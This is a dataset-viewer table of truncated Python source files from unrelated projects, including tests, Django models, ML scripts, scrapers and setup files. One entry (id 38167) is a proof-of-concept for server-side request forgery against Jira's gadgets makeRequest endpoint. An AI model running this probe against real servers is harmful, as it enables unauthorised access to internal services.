id stringlengths 3 8 | content stringlengths 100 981k |
|---|---|
38027 | def test_deploying_contract(client, hex_accounts):
pre_balance = client.get_balance(hex_accounts[1])
client.send_transaction(
_from=hex_accounts[0],
to=hex_accounts[1],
value=1234,
)
post_balance = client.get_balance(hex_accounts[1])
assert post_balance - pre_balance == 12... |
38039 | import argparse
import importlib
import os
import sys
import jsonschema
import pkg_resources
from multiprocessing import Pool, cpu_count
from pyneval.errors.exceptions import InvalidMetricError, PyNevalError
from pyneval.pyneval_io import json_io
from pyneval.pyneval_io import swc_io
from pyneval.metric.utils import a... |
38087 | import numpy as np
import scipy.sparse as sp
import Orange.data
from Orange.statistics import distribution, basic_stats
from Orange.util import Reprable
from .transformation import Transformation, Lookup
__all__ = [
"ReplaceUnknowns",
"Average",
"DoNotImpute",
"DropInstances",
"Model",
"AsValu... |
38151 | from bs4 import BeautifulSoup
import requests
import csv
import sys
from urllib.error import HTTPError
sys.path.append("..")
import mytemp
import time
import json
url='https://gz.17zwd.com/api/shop/get-list/73'
resp=requests.get(url)
f=open('17wang.txt','w+',encoding='utf-8')
f.write(resp.text)
print(res... |
38157 | import conftest # Add root path to sys.path
import os
import matplotlib.pyplot as plt
from PathPlanning.SpiralSpanningTreeCPP \
import spiral_spanning_tree_coverage_path_planner
spiral_spanning_tree_coverage_path_planner.do_animation = True
def spiral_stc_cpp(img, start):
num_free = 0
for i in range(img... |
38167 | import requests
import sys
# http://www.jas502n.com:8080/plugins/servlet/gadgets/makeRequest?url=http://www.jas502n.com:8080@www.baidu.com/
def ssrf_poc(url, ssrf_url):
if url[-1] == '/':
url = url[:-1]
else:
url = url
vuln_url = url + "/plugins/servlet/gadgets/makeRequest?url=" + url + ... |
38213 | from bs4 import BeautifulSoup
import time
from kik_unofficial.datatypes.xmpp.base_elements import XMPPElement, XMPPResponse
class Struct:
def __init__(self, **entries):
self.__dict__.update(entries)
class OutgoingAcknowledgement(XMPPElement):
"""
Represents an outgoing acknowledgement ... |
38277 | from __future__ import absolute_import, division, print_function
import numpy as np
import tensorflow as tf
from IPython.core.debugger import Tracer; debug_here = Tracer();
batch_size = 5
max_it = tf.constant(6)
char_mat_1 = [[0.0, 0.0, 0.0, 0.9, 0.0, 0.0],
[0.0, 0.0, 0.0, 0.9, 0.0, 0.0],
... |
38286 | import logging
import os
from figcli.config.style.color import Color
from figcli.io.input import Input
from figcli.svcs.config_manager import ConfigManager
from figcli.config.aws import *
from figcli.config.constants import *
log = logging.getLogger(__name__)
class AWSConfig:
"""
Utility methods for interac... |
38291 | from __future__ import absolute_import
from contextlib import contextmanager
from multiprocessing import TimeoutError
import signal
import datetime
import os
import subprocess
import time
import urllib
import zipfile
import shutil
import pytest
from .adb import ADB
from ..logger import Logger
def get_center(bounds)... |
38311 | import os
import tempfile
import unittest
import logging
from pyidf import ValidationLevel
import pyidf
from pyidf.idf import IDF
from pyidf.humidifiers_and_dehumidifiers import HumidifierSteamGas
log = logging.getLogger(__name__)
class TestHumidifierSteamGas(unittest.TestCase):
def setUp(self):
self.fd,... |
38351 | import attr
from attr import attrib, s
from typing import Tuple, List, Optional, Callable, Mapping, Union, Set
from collections import defaultdict
from ..tensor import Operator
@attr.s(auto_attribs=True)
class GOp:
cost : float
size : Tuple[int]
alias : Tuple[int]
args : Tuple['GTensor']
result ... |
38375 | import os
from libdotfiles.util import (
HOME_DIR,
PKG_DIR,
REPO_ROOT_DIR,
create_symlink,
run,
)
create_symlink(
PKG_DIR / "launcher.json", HOME_DIR / ".config" / "launcher.json"
)
os.chdir(REPO_ROOT_DIR / "opt" / "launcher")
run(
["python3", "-m", "pip", "install", "--user", "--upgrade"... |
38403 | from __future__ import absolute_import
from chainer import backend
from chainer import functions as F
from chainer.functions import sigmoid_cross_entropy
from chainer.functions import softmax_cross_entropy
from .sigmoid_soft_cross_entropy import sigmoid_soft_cross_entropy
def noised_softmax_cross_entropy(y, t, mc_it... |
38430 | import numpy as np
import json
import cPickle
import matplotlib.pyplot as plt
from theano import config
import matplotlib.cm as cmx
import matplotlib.colors as colors
from sklearn.metrics import roc_curve
from utils.loader import load_train_data
from utils.config_name_creator import *
from utils.data_scaler import sc... |
38460 | from pywizard.userSettings import settings
import scipy as sp
class PreEmphasizer(object):
@classmethod
def processBuffer(cls, buf):
preEnergy = buf.energy()
alpha = cls.alpha()
unmodifiedPreviousSample = buf.samples[0]
tempSample = None
first_sample = buf.samples[0]
... |
38490 | import torch
import torch.nn.functional as F
from agent.td3 import TD3
class TD3MT(TD3):
def __init__(self,
state_dim,
action_dim,
max_action,
num_env,
discount=0.99,
tau=0.005,
policy_noise=0.2... |
38494 | import tensorflow as tf
def get_record_parser_qqp(config, is_test=False):
def parse(example):
ques_limit = config.test_ques_limit if is_test else config.ques_limit
features = tf.parse_single_example(example,
features={
... |
38544 | from rest_framework import serializers
from projects.models import (
Project,
ProjectVolunteers,
ProjectVolunteersRegistration,
ProjectAttendees,
ProjectAttendeesRegistration,
ProjectDiscussion,
ProjectAnswerDiscussion,
ProjectHub,
)
class ProjectVolunteersRegistrationSerializer(seria... |
38561 | import itertools
from typing import Any, Callable, Sequence, Tuple
import dill as pickle
import jax.numpy as np
import numpy as onp
import pandas as pd
from jax import grad, jit, ops, random
from jax.experimental.optimizers import Optimizer, adam
from pzflow import distributions
from pzflow.bijectors import Bijector_... |
38584 | from django import forms
class EmptyForm(forms.Form):
pass
class LoginForm(forms.Form):
username = forms.CharField(
max_length=50,
label='Username'
)
password = forms.CharField(
max_length=32,
label='Password',
widget=forms.PasswordInput(),
required=True... |
38634 | from woob.capabilities.housing import POSTS_TYPES, HOUSE_TYPES
TYPES = {POSTS_TYPES.RENT: 1,
POSTS_TYPES.SALE: 2,
POSTS_TYPES.FURNISHED_RENT: 1,
POSTS_TYPES.VIAGER: 5}
RET = {HOUSE_TYPES.HOUSE: '2',
HOUSE_TYPES.APART: '1',
HOUSE_TYPES.LAND: '4',
HOUSE_TYPES.PARKING: '3'... |
38662 | from pathlib import Path
import matplotlib.pyplot as plt
import pandas as pd
results_dir = Path('results')
results_dir.mkdir(exist_ok=True)
# Performance plot
for scale in [3, 4]:
for test_set in ['Set5', 'Set14']:
time = []
psnr = []
model = []
for save_dir in sorted(Path('.').g... |
38671 | import tensorflow as tf
from nalp.corpus import TextCorpus
from nalp.datasets import LanguageModelingDataset
from nalp.encoders import IntegerEncoder
from nalp.models import RelGAN
# Creating a character TextCorpus from file
corpus = TextCorpus(from_file='data/text/chapter1_harry.txt', corpus_type='char')
# Creating... |
38684 | import os
import re
import subprocess
from collections import Counter
from django.conf import settings
from django.core.management.base import BaseCommand
import datadog
from dimagi.ext.couchdbkit import Document
from corehq.feature_previews import all_previews
from corehq.toggles import all_toggles
class Datadog... |
38689 | from setuptools import setup, find_packages
from setuptools.command.test import test
from distutils.util import convert_path
# We can't import the submodule normally as that would "run" the main module
# code while the setup script is meant to *build* the module.
# Besides preventing a whole possible mess of issues w... |
38715 | from django.db import models
from django.utils.translation import ugettext_lazy as _
class DirectoryAccessGroup(models.Model):
"""
Grants expiring group access to the personnel directory.
"""
organization = models.ForeignKey('core.Organization', on_delete=models.CASCADE)
group = models.ForeignKey... |
38720 | import sqlite3
from scripts.artifact_report import ArtifactHtmlReport
from scripts.ilapfuncs import logfunc, tsv, open_sqlite_db_readonly
def get_installedappsGass(files_found, report_folder, seeker, wrap_text):
for file_found in files_found:
file_found = str(file_found)
if file_found.endswith('.d... |
38802 | import pytest
from django.core import mail
from test_fixtures.users import user
from .utils import send_activation_email, send_password_reset_email
@pytest.mark.django_db
def test_send_activtion_email(user, rf):
request = rf.request()
send_activation_email(user, request)
assert len(mail.outbox) == 1
@... |
38812 | from setuptools import setup, find_packages
REQUIRES = [
'Flask>=1.1.1',
'Flask-SocketIO>=4.2.1',
'Flask-Login>=0.4.1',
'requests>=2.22.0',
'pytz>=2019.2',
'paho-mqtt>=1.4.0',
'RPi.GPIO>=0.7.0',
]
setup(
name='AlarmPI',
version='4.7',
description='Home Security System',
au... |
38834 | import numpy as np
import networkx as nx
from commons import *
from tqdm import tqdm
def apply_rrt(state_space, starting_state, target_space, obstacle_map, granularity=0.1, d_threshold=0.5,
n_samples=1000, find_optimal=True):
tree = nx.DiGraph()
tree.add_node(starting_state)
final_state = N... |
38848 | import argparse
from attacks.image_save_runner import ImageSaveAttackRunner
from attacks.selective_universal import SelectiveUniversal
from dataset import Dataset
from models import create_ensemble
from models.model_configs import config_from_string
parser = argparse.ArgumentParser(description='Defence')
parser.add_a... |
38850 | from google.appengine.ext import ndb
CACHE_DATA = {}
def get(cache_key):
full_cache_key = '{}:{}'.format(cache_key, ndb.get_context().__hash__())
return CACHE_DATA.get(full_cache_key, None)
def set(cache_key, value):
full_cache_key = '{}:{}'.format(cache_key, ndb.get_context().__hash__())
CACHE_DA... |
38867 | import os
import sys
from gradslam.config import CfgNode as CN
cfg = CN()
cfg.TRAIN = CN()
cfg.TRAIN.HYPERPARAM_1 = 0.9
|
38879 | import setuptools
with open("README.md", "r") as f:
long_description = f.read()
setuptools.setup(
name="django-osm-field",
author="<NAME>",
author_email="<EMAIL>",
description="Django OpenStreetMap Field",
license="MIT",
long_description=long_description,
long_description_content_type=... |
38890 | import numpy
print(str(numpy.eye(*map(int,input().split()))).replace('1',' 1').replace('0',' 0'))
|
38919 | import os
import uuid
import pytest # type: ignore
from hopeit.testing.apps import execute_event
from hopeit.server.version import APPS_API_VERSION
from model import Something
from simple_example.collector.collect_spawn import ItemsInfo, ItemsCollected
APP_VERSION = APPS_API_VERSION.replace('.', "x")
@pytest.fix... |
38997 | from __future__ import annotations
import os
from datetime import datetime
from twisted.python import log
import cowrie.core.output
from cowrie.core.config import CowrieConfig
token = CowrieConfig.get("output_csirtg", "token", fallback="<PASSWORD>")
if token == "<PASSWORD>":
log.msg("output_csirtg: token not fou... |
38999 | import sys
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import seaborn as sns
fn = sys.argv[1]
pal = sns.color_palette()
with open(fn) as f:
toPlot = []
names = []
goodness = []
xs = []
ys = []
ps = []
sns.set()
for line in f:
tokens = line.split(' ')
if len(tokens) ==... |
39014 | import os
import unittest
import invirtualenv.contextmanager
class TestContextmanager(unittest.TestCase):
def test__revert_file(self):
with invirtualenv.contextmanager.InTemporaryDirectory():
with open('testfile', 'w') as fh:
fh.write('original')
self.assertEqual('o... |
39025 | from pyqchem.structure import Structure
import numpy as np
# Ethene parallel position
def dimer_ethene(distance, slide_y, slide_z):
coordinates = [[0.0000000, 0.0000000, 0.6660120],
[0.0000000, 0.0000000, -0.6660120],
[0.0000000, 0.9228100, 1.2279200],
... |
39065 | import cv2
def webcam_gui(filter_func, video_src=0):
cap = cv2.VideoCapture(video_src)
key_code = -1
while(key_code == -1):
# read a frame
ret, frame = cap.read()
# run filter with the arguments
frame_out = filter_func(frame)
# show the image... |
39069 | import ast
import os
from mr_proper.public_api import is_function_pure
from mr_proper.utils.ast import get_ast_tree
def test_ok_for_destructive_assignment():
funcdef = ast.parse("""
def foo(a):
b, c = a
return b * c
""".strip()).body[0]
assert is_function_pure(funcdef)
def test_is_function_pure... |
39083 | from typing import Dict, Any
from allenact.algorithms.onpolicy_sync.losses import PPO
from allenact.algorithms.onpolicy_sync.losses.ppo import PPOConfig
from allenact.utils.experiment_utils import LinearDecay, PipelineStage
from baseline_configs.one_phase.one_phase_rgb_base import (
OnePhaseRGBBaseExperimentConfig... |
39095 | import numpy as np
class SequenceTools(object):
dna2gray_ = {'c': (0, 0), 't': (1, 0), 'g': (1, 1), 'a': (0, 1)}
gray2dna_ = {(0, 0): 'c', (1, 0): 't', (1, 1): 'g', (0, 1): 'a'}
codon2protein_ = {'ttt': 'f', 'ttc': 'f', 'tta': 'l', 'ttg': 'l', 'tct': 's', 'tcc': 's', 'tca': 's',
'tc... |
39125 | from .version import version as __version__
# Delay importing extension modules till after they are built...
try:
from .sxn import *
from . import xdm
# This SaxonProcessor object is used only to control creation and
# destruction of the Saxon/C Java VM...
_sp_init = SaxonProcessor(False, init=Tru... |
39141 | import config
from selectsql import SelectSql
class RssSql(object):
def __init__(self):
self.database = config.get_database_config()
self.select_sql = SelectSql(self.database)
self.do_not_success = "do_not_success"
self.do_success = "do_success"
self.user = {}
self.x... |
39188 | from __future__ import print_function
from argparse import ArgumentParser
from fastai.learner import *
from fastai.column_data import *
import numpy as np
import pandas as pd
def build_parser():
parser = ArgumentParser()
parser.add_argument('--data', type=str, nargs=None, dest='in_path', help='input file pa... |
39192 | from pyworkforce.shifts import MinAbsDifference, MinRequiredResources
import pytest
def test_min_abs_difference_schedule():
required_resources = [
[9, 11, 17, 9, 7, 12, 5, 11, 8, 9, 18, 17, 8, 12, 16, 8, 7, 12, 11, 10, 13, 19, 16, 7],
[13, 13, 12, 15, 18, 20, 13, 16, 17, 8, 13, 11, 6, 19, 11, 20, ... |
39359 | import ctypes
import ida_ida
import ida_funcs
import ida_graph
import ida_idaapi
import ida_kernwin
import ida_hexrays
from PyQt5 import QtWidgets, QtGui, QtCore, sip
from lucid.ui.sync import MicroCursorHighlight
from lucid.ui.subtree import MicroSubtreeView
from lucid.util.python import register_callback, notify_c... |
39379 | class Node:
def __init__(self, value, next):
self.value = value
self.next = next
class LinkedList:
def __init__(self):
self.head = None
def add(self, value):
self.head = Node(value, self.head)
def remove(self):
to_remove = self.head
self.head = self.hea... |
39400 | import pytest
from rdkit import Chem
from aizynthfinder.chem import MoleculeException, Molecule
def test_no_input():
with pytest.raises(MoleculeException):
Molecule()
def test_create_with_mol():
rd_mol = Chem.MolFromSmiles("O")
mol = Molecule(rd_mol=rd_mol)
assert mol.smiles == "O"
def ... |
39425 | import unittest
import datetime
import genetic
import random
class Node:
Value = None
Left = None
Right = None
def __init__(self, value, left=None, right=None):
self.Value = value
self.Left = left
self.Right = right
def isFunction(self):
return self.Left is not No... |
39444 | import logging
import os
from scapy.all import IP, TCP
import actions.tree
import actions.drop
import actions.tamper
import actions.duplicate
import actions.utils
import layers.packet
def test_init():
"""
Tests initialization
"""
print(actions.action.Action.get_actions("out"))
def test_count_leaves... |
39611 | import os
import glob
from tqdm import tqdm
import argparse
from PIL import Image
import numpy as np
import pandas as pd
import torch
import torch.nn as nn
import torch.utils.data as data
from torchvision import transforms, datasets
from networks.dan import DAN
def parse_args():
parser = argparse.ArgumentParse... |
39641 | import codecs
from solthiruthi.dictionary import *
from tamil import wordutils
TVU, TVU_size = DictionaryBuilder.create(TamilVU)
ag, ag2 = wordutils.anagrams_in_dictionary(TVU)
with codecs.open("demo.txt", "w", "utf-8") as fp:
itr = 1
for k, c in ag:
v = ag2[k]
fp.write("%03d) %s\n" % (itr, " ... |
39647 | from __future__ import division
import numpy as np
from path import Path
from imageio import imread
from skimage.transform import resize as imresize
from kitti_util import pose_from_oxts_packet, generate_depth_map, read_calib_file, transform_from_rot_trans
from datetime import datetime
class KittiRawLoader(object):
... |
39661 | from django.db import models
class Publisher(models.Model):
name = models.CharField(max_length=100)
class Author(models.Model):
name = models.CharField(max_length=100)
class Book(models.Model):
name = models.CharField(max_length=100)
authors = models.ManyToManyField(Author, related_name='books')
... |
39733 | from collections import OrderedDict
from rest_framework import serializers
from data_import.models import DataFile
from open_humans.models import User
from private_sharing.models import project_membership_visible
class PublicDataFileSerializer(serializers.ModelSerializer):
"""
Serialize a public data file.
... |
39737 | import os
import sys
import json
import time
import socket
import re
import glob
import subprocess
import requests
import splunk.clilib.cli_common
import splunk.util
var_expandvars_re = re.compile(r'\AENV\((.*)\)$')
var_shell_re = re.compile(r'\ASHELL\((.*)\)$')
def main():
"""
Initialize node. Can run be... |
39739 | import numpy as np
from ..base import BaseSKI
from tods.detection_algorithm.PyodSOD import SODPrimitive
class SODSKI(BaseSKI):
def __init__(self, **hyperparams):
super().__init__(primitive=SODPrimitive, **hyperparams)
self.fit_available = True
self.predict_available = True
self.produce_available = False
|
39747 | import torch
import pickle
import argparse
import os
from tqdm import trange, tqdm
import torch
import torchtext
from torchtext import data
from torchtext import datasets
from torch import nn
import torch.nn.functional as F
import math
from models import SimpleLSTMModel, AttentionRNN
from train_args import get_arg_par... |
39755 | from functools import reduce
import numpy as np
import json
import tensorflow as tf
from scipy.optimize import linear_sum_assignment
import os
import time
def deleteDuplicate_v1(input_dict_lst):
f = lambda x,y:x if y in x else x + [y]
return reduce(f, [[], ] + input_dict_lst)
def get_context_pair(resp, l):
label_w... |
39777 | from collections import OrderedDict
import pandas as pd
from tests import project_test, assert_output
@project_test
def test_csv_to_close(fn):
tickers = ['A', 'B', 'C']
dates = ['2017-09-22', '2017-09-25', '2017-09-26', '2017-09-27', '2017-09-28']
fn_inputs = {
'csv_filepath': 'prices_2017_09_22_... |
39829 | import dash
import dash_bio as dashbio
import dash_html_components as html
import dash_core_components as dcc
external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']
app = dash.Dash(__name__, external_stylesheets=external_stylesheets)
app.layout = html.Div([
'Select which chromosomes to display on ... |
39868 | def assign_variable(robot_instance, variable_name, args):
"""Assign a robotframework variable."""
variable_value = robot_instance.run_keyword(*args)
robot_instance._variables.__setitem__(variable_name, variable_value)
return variable_value
|
39893 | import tfcoreml as tf_converter
tf_converter.convert(tf_model_path = 'retrained_graph.pb',
mlmodel_path = 'converted.mlmodel',
output_feature_names = ['final_result:0'],
image_input_names = 'input:0',
class_labels = 'retrained_labels.tx... |
39980 | from datetime import datetime, timezone
from flask import abort
from flask_unchained import BundleConfig
from http import HTTPStatus
from .forms import (
LoginForm,
RegisterForm,
ForgotPasswordForm,
ResetPasswordForm,
ChangePasswordForm,
SendConfirmationForm,
)
from .models import AnonymousUser... |
39984 | import numpy as np
import pydensecrf.densecrf as dcrf
from pydensecrf.utils import compute_unary, create_pairwise_bilateral, create_pairwise_gaussian, unary_from_softmax
def dense_crf(img, prob):
'''
input:
img: numpy array of shape (num of channels, height, width)
prob: numpy array of shape (9, hei... |
40040 | import logging
import uuid
from typing import Any
import pytest
import requests
import test_helpers
from dcos_test_utils import marathon
from dcos_test_utils.dcos_api import DcosApiSession
__maintainer__ = 'kensipe'
__contact__ = '<EMAIL>'
log = logging.getLogger(__name__)
def deploy_test_app_and_check(dcos_api_... |
40105 | import pexpect
class SshConnection:
'''
To use, set conn_cmd in your json to "ssh root@192.168.1.1 -i ~/.ssh/id_rsa""
and set connection_type to "ssh"
'''
def __init__(self, device=None, conn_cmd=None, ssh_password='<PASSWORD>', **kwargs):
self.device = device
self.con... |
40115 | from config import *
from helper_func import *
class coordinates_data_files_list(object):
def __init__(self,
list_of_dir_of_coor_data_files = CONFIG_1, # this is the directory that holds corrdinates data files
):
assert (isinstance(list_of_dir_of_coor_data_files, list)) #... |
40116 | from django.contrib.admin import ModelAdmin
from public_admin.sites import PublicAdminSite
class PublicModelAdmin(ModelAdmin):
"""This mimics the Django's native ModelAdmin but filters URLs that should
not exist in a public admin, and deals with request-based permissions."""
def has_view_permission(self,... |
40146 | import indicoio, os, json
indicoio.config.api_key = '27df1eee04c5b65fb3113e9458d1d701'
fileDir = os.path.dirname(os.path.realpath('__file__'))
fileResumeTxt = open(os.path.join(fileDir, "data/resume.txt"), 'w')
resume = "data/resumePDF.pdf"
print(json.dumps(indicoio.pdf_extraction(resume))) |
40226 | import numpy as np
def directional_coupler_lc(wavelength_nm, n_eff_1, n_eff_2):
'''
Calculates the coherence length (100% power transfer) of a
directional coupler.
Args:
wavelength_nm (float): The wavelength in [nm] the
directional coupler should operate at.
n_eff_1 (float... |
40263 | from abc import ABCMeta
from layers.linear import *
from layers.conv2d import *
import torch.nn as nn
# Add custom layers here.
_STN_LAYERS = [StnLinear, StnConv2d]
class StnModel(nn.Module, metaclass=ABCMeta):
# Initialize an attribute self.layers (a list containing all layers).
def get_layers(self):
... |
40308 | import frappe
def after_migrate():
set_default_otp_template()
def set_default_otp_template():
if not frappe.db.get_value("System Settings", None, "email_otp_template"):
if frappe.db.exists("Email Template", "Default Email OTP Template"):
# should exists via fixtures
frappe.db.set_value("System Set... |
40315 | import factory
class ServiceCategoryFactory(factory.django.DjangoModelFactory):
class Meta:
model = "core.ServiceCategory"
name = factory.Sequence(lambda n: f"Service Category {n}")
slug = factory.Sequence(lambda n: f"service-category-{n}")
description = factory.Faker("sentence")
icon = "... |
40348 | class TransportType:
NAPALM = "napalm"
NCCLIENT = "ncclient"
NETMIKO = "netmiko"
class DeviceType:
IOS = "ios"
NXOS = "nxos"
NXOS_SSH = "nxos_ssh"
NEXUS = "nexus"
CISCO_NXOS = "cisco_nxos"
|
40365 | import os
import os.path
import webapp2
import logging
from webapp2 import WSGIApplication, Route
from google.appengine.api import users
# hack until we can make this public
cache = dict()
class Content(webapp2.RequestHandler):
def get(self, *args, **kwargs):
urlPath = args[0]
root = os.path.split(__file__... |
40373 | import kenlm
import os
import pickle
import tempfile
import zipfile
from config import KENLM_PATH
from pyro_utils import BGProc
from config import PORT_NUMBER, TEMP_DIR
import time
import subprocess
import shlex
def _unzip_to_tempdir(model_zip_path):
# temp folder (automatically deleted on exit)
tmpdir = te... |
40389 | import os
import subprocess
from pathlib import Path
from ..views.viewhelper import delay_refresh_detail
from ..helper.config import config
def edit(filepath: Path, loop):
if isinstance(filepath, str):
filepath = Path(filepath)
editor = os.environ.get('EDITOR', 'vi').lower()
# vim
if editor ==... |
40439 | import argparse
import os
import mlflow
import numpy as np
import pandas as pd
import torch
import torch.optim as optim
from matplotlib import pyplot as plt
from matplotlib.backends.backend_agg import FigureCanvasAgg
from mlflow import log_metric, log_param, get_artifact_uri
from skimage.io import imsave
from sklearn.m... |
40567 | from .fhirbase import fhirbase
class ExplanationOfBenefit(fhirbase):
"""
This resource provides: the claim details; adjudication details from
the processing of a Claim; and optionally account balance information,
for informing the subscriber of the benefits provided.
Args:
resourceType: T... |
40570 | from __future__ import absolute_import, division, print_function
import pytest
from ..spparser import Scanner
scanner = Scanner()
# Test of a single instance of each token. Does not test them in
# context, but at least it tests that each one is recognized.
tokens = [
# bug: the original pysynphot could not reco... |
40597 | import numpy as np
import pandas as pd
from welib.tools.clean_exceptions import *
from welib.FEM.graph import Node as GraphNode
from welib.FEM.graph import Element as GraphElement
from welib.FEM.graph import NodeProperty
from welib.FEM.graph import GraphModel
class MaterialProperty(NodeProperty):
def __init__(se... |
40622 | from __future__ import print_function
from astrometry.util.fits import *
import pylab as plt
import numpy as np
from glob import glob
from astrometry.util.plotutils import *
from astrometry.libkd.spherematch import *
from astrometry.util.resample import *
from astrometry.util.util import *
ps = PlotSequence('cosmos')
... |
40627 | import time
import pytest
@pytest.mark.parametrize("index", range(7))
def test_cat(index):
"""Perform several tests with varying execution times."""
time.sleep(0.2 + (index * 0.1))
assert True
|
40661 | import numpy as np
import pandas as pd
from sklearn.model_selection import StratifiedKFold
import lightgbm as lgb
import xgboost as xgb
# read dataset
df_train = pd.read_csv('train.csv')
df_test = pd.read_csv('test.csv')
# gini function
def gini(actual, pred, cmpcol = 0, sortcol = 1):
assert( len(actual) == len(p... |
40665 | import os
import re
import warnings
from uuid import uuid4, UUID
import shapely.geometry
import geopandas as gpd
import pandas as pd
import numpy as np
from geojson import LineString, Point, Polygon, Feature, FeatureCollection, MultiPolygon
try:
import simplejson as json
except ImportError:
import json
from ... |
40702 | import sys
import yahooscraper as ys
from datetime import datetime, date
from urllib.parse import urljoin
# Environment variables
USERNAME_ENV = 'YAHOO_USERNAME'
PASSWORD_ENV = '<PASSWORD>'
# Command-line args
REQUIRED_ARGS = [
'<league_id>',
'<team_id>'
]
OPTIONAL_ARGS = []
# Error messages
LOGIN_ERROR_MS... |
40706 | import FWCore.ParameterSet.Config as cms
from RecoJets.JetProducers.PFClusterJetParameters_cfi import *
from RecoJets.JetProducers.AnomalousCellParameters_cfi import *
ak4PFClusterJets = cms.EDProducer(
"FastjetJetProducer",
PFClusterJetParameters,
AnomalousCellParameters,
jetAlgorithm = cms.string("A... |
40753 | VERSION = (0, 7, 0)
__version__ = ".".join(map(str, VERSION))
default_app_config = "user_messages.apps.UserMessagesConfig"
|
40754 | from setuptools import setup
setup(
name='optool',
version='1.9.4',
py_modules=['optool'],
install_requires=[
'numpy','matplotlib'
]
)
|
40770 | import json
import json
import hashlib
from pydantic import BaseModel, validator
from typing import List, Optional
from speckle.base.resource import ResourceBaseSchema
from speckle.resources.objects import SpeckleObject
from speckle.schemas import Interval
NAME = 'line'
class Schema(SpeckleObject):
type: Optional... |
40779 | import os
from oic.utils.jwt import JWT
from oic.utils.keyio import build_keyjar
from oic.utils.keyio import keybundle_from_local_file
__author__ = "roland"
BASE_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), "data/keys"))
keys = [
{"type": "RSA", "key": os.path.join(BASE_PATH, "cert.key"), "us... |
40808 | from ai_safety_gridworlds.environments.shared import safety_game
from collections import defaultdict
import experiments.environment_helper as environment_helper
import numpy as np
class ModelFreeAUPAgent:
name = "Model-free AUP"
pen_epsilon, AUP_epsilon = .2, .9 # chance of choosing greedy action in training... |
40809 | import tensorflow as tf
from tensorflow.keras.models import Model, Sequential
from tensorflow.keras.layers import Conv2D, BatchNormalization, ReLU, GlobalAveragePooling2D, Dropout
class ASPP(Model):
def __init__(self, filters, dilation_rates=[3, 6, 9]):
super().__init__()
self.aspp1 = ASPPConv(fil... |
40812 | from sportsdb_setup import HGETestSetup, HGETestSetupArgs
from run_hge import HGE
import graphql
import multiprocessing
import json
import os
import docker
import ruamel.yaml as yaml
import cpuinfo
import subprocess
import threading
import time
import datetime
from colorama import Fore, Style
from plot import run_dash_... |
40828 | import pytest
from backend.common.models.team import Team
from backend.common.models.tests.util import (
CITY_STATE_COUNTRY_PARAMETERS,
LOCATION_PARAMETERS,
)
@pytest.mark.parametrize("key", ["frc177", "frc1"])
def test_valid_key_names(key: str) -> None:
assert Team.validate_key_name(key) is True
@pyte... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.